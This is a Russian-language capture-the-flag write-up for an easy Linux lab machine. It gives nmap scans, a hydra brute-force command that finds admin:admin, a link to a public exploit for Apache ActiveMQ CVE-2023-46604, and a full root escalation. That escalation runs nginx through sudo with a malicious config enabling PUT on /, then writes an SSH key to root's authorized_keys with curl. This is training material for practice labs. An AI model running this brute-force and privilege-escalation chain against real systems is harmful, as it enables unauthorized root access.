Сложность: | Easy |
ОС: | Linux |
Баллы: | 20 |
IP: | 10.10.11.243 |
Теги: | ActiveMQ, HTTP Basic Auth Bruteforce, CVE-2023-46604, nginx LPE |
Вслед за проведением этапа первичной разведки веб-приложения обнаруживаем HTTP Basic Auth на портах 80, 8161, 61614. Успешно получаем УЗ admin:admin
и авторизуемся в веб-сервисы, откуда получаем сведения о ПО Apache ActiveMQ
версии 5.15.15, уязвимого к CVE-2023-46604
. Воспользовавшись эксплоитом для данной уязвимости получаем возможность выполнения произвольных команд от лица пользователя activemq
, а также его флаг. Затем, обнаружим возможность запуска nginx
от лица пользователя root
без пароля. Загрузим на целевую машину конфигурационный файл, позволяющий запустить nginx
таким образом, что это позволит нам выгружать файлы в папку /root
. Воспользуемся этим и запишем свой публичный ssh ключ в список авторизованных для подключения с удалённой машины, подключимся к целевой машине с правами root
и успешно забираем соответствующий флаг.
Проведём первичное сканирование цели:
nmap -sS -p- 10.10.11.243
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1883/tcp open mqtt
5672/tcp open amqp
8161/tcp open patrol-snmp
41191/tcp open unknown
61614/tcp open unknown
61616/tcp open unknown
Просканируем более подробно:
nmap -sVC -O -p22,80,1883,5672,8161,41191,61614,61616 10.10.11.243
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
1883/tcp open mqtt
| mqtt-subscribe:
| Topics and their most recent payloads:
| ActiveMQ/Advisory/MasterBroker:
|_ ActiveMQ/Advisory/Consumer/Topic/#:
5672/tcp open amqp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| AMQP
| AMQP
| amqp:decode-error
|_ 7Connection from client using unsupported AMQP attempted
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
8161/tcp open http Jetty 9.4.39.v20210325
|_http-title: Error 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-server-header: Jetty(9.4.39.v20210325)
41191/tcp open tcpwrapped
61614/tcp open http Jetty 9.4.39.v20210325
|_http-title: Site doesn't have a title.
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Jetty(9.4.39.v20210325)
61616/tcp open apachemq ActiveMQ OpenWire transport
| fingerprint-strings:
| NULL:
| ActiveMQ
| TcpNoDelayEnabled
| SizePrefixDisabled
| CacheSize
| ProviderName
| ActiveMQ
| StackTraceEnabled
| PlatformDetails
| Java
| CacheEnabled
| TightEncodingEnabled
| MaxFrameSize
| MaxInactivityDuration
| MaxInactivityDurationInitalDelay
| ProviderVersion
|_ 5.15.15
Посетим веб-сервис, доступный на 80 порту, выдавший 401 ошибку (Unauthorized):
Судя по наличии HTTP Basic Auth придётся искать или осуществлять подбор логина и пароля. Также, заметим, что многократно в базовых проверках Nmap доступных сервисов цели упоминается сервис ActiveMQ/AMQP/Apache ActiveMQ. Продолжим разведку доступных портов.
Аналогично на портах 8161 и 61614 присутствует HTTP Basic Auth:
Осуществим перебор возможного пароля и логина с помощью hydra
:
hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt -f 10.10.11.243 http-get
Получили следующий логин и пароль: admin:admin
Воспользуемся полученной УЗ и далее исследуем сервис:
В результате разведки убедились в том, что на целевой машине запущен сервис Apache Active MQ
, узнали его версию (5.15.15
), ID (broker-39507-1703165235580-0:1
). Далее, займёмся поиском потенциальных эксплоитов для данной версии ActiveMQ или Jetty 9.4.39.v20210325.
Обнаружили следующую уязвимость в Apache ActiveMQ – CVE-2023-46604
, которая позволяет осуществить выполнение произвольного кода на целевой машине. Воспользуемся следующим эксплоитом, настроив среду атакующего таким образом, как описано в репозитории эксплоита: https://github.com/duck-sec/CVE-2023-46604-ActiveMQ-RCE-pseudoshell
Успешно получили флаг пользователя activemq
:
Проверим текущие соединения, доступные на целевой машине с помощью команды netstat -tulpn
Пользователь activemq
может запускать nginx
от лица пользователя root
без пароля:
Воспользуемся следующей цепочкой для получения root прав на целевой машине:
1. Создадим файл malicious.conf
со следующим содержимым и загрузим его на целевую машину:
user root;
events {
worker_connections 100;
}
http {
server {
listen 7331;
root /;
autoindex on;
dav_methods PUT;
}
}
Данная конфигурация позволит nginx принимать и корректно обрабатывать PUT запросы, с помощью чего мы сможем загрузить свой публичный ключ в /root/.ssh/autorized_keys
2. Выполним команду sudo /usr/sbin/nginx -c /tmp/malicious.conf
на целевой машине
3. Добавим свой публичный ключ, выполнив команду на целевой машине
curl -X PUT localhost:7331/root/.ssh/authorized_keys -d 'your_pub_key_goes_here'
4. Подключаемся к целевой машине по ssh с правами root.
Успешно получили доступ к учётной записи root
и смогли прочитать флаг!
https://habr.com/ru/articles/471268/
https://nvd.nist.gov/vuln/detail/CVE-2023-46604
https://github.com/duck-sec/CVE-2023-46604-ActiveMQ-RCE-pseudoshell